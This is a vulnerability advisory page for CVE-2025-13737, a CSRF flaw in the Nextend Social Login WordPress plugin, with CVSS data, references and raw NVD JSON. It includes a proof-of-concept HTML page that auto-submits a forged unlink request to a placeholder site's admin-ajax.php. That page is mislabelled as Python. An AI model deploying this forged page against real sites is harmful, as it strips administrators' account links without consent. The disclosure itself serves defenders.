CVE-2025-13737

Description

The Nextend Social Login and Register plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.1.21. This is due to missing or incorrect nonce validation on the 'unlinkUser' function. This makes it possible for unauthenticated attackers to unlink the user's social login via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Nextend Social Login and Register <= 3.1.21 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-13737 - Nextend Social Login unlinkUser CSRF -->
<!DOCTYPE html>
<html>
<head>
    <title>Social Account Unlink</title>
</head>
<body>
    <h1>Click the button below to unlink your social account</h1>
    <!-- Auto-submit form targeting the vulnerable endpoint -->
    <form id="csrfForm" action="https://target-site.com/wp-admin/admin-ajax.php" method="POST">
        <input type="hidden" name="action" value="nextend_social_login_unlink">
        <input type="hidden" name="provider" value="facebook">
        <input type="hidden" name="controller" value="social-login">
        <button type="submit">Click Here</button>
    </form>
    <script>
        // Auto-submit without user interaction
        document.getElementById('csrfForm').submit();
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13737
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13737
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13737/
[4] VulDB https://vuldb.com/cve/CVE-2025-13737
[5] https://plugins.trac.wordpress.org/browser/nextend-facebook-connect/tags/3.1.21/includes/provider.php#L772
[6] https://plugins.trac.wordpress.org/changeset/3404174/nextend-facebook-connect/trunk/includes/provider.php
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/9c6b747e-d267-4fd3-a4fd-022aa657c796?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13737", "sourceIdentifier": "[email protected]", "published": "2025-11-28T04:16:00.010", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Nextend Social Login and Register plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.1.21. This is due to missing or incorrect nonce validation on the 'unlinkUser' function. This makes it possible for unauthenticated attackers to unlink the user's social login via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/nextend-facebook-connect/tags/3.1.21/includes/provider.php#L772", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3404174/nextend-facebook-connect/trunk/includes/provider.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9c6b747e-d267-4fd3-a4fd-022aa657c796?source=cve", "source": "[email protected]"}]}}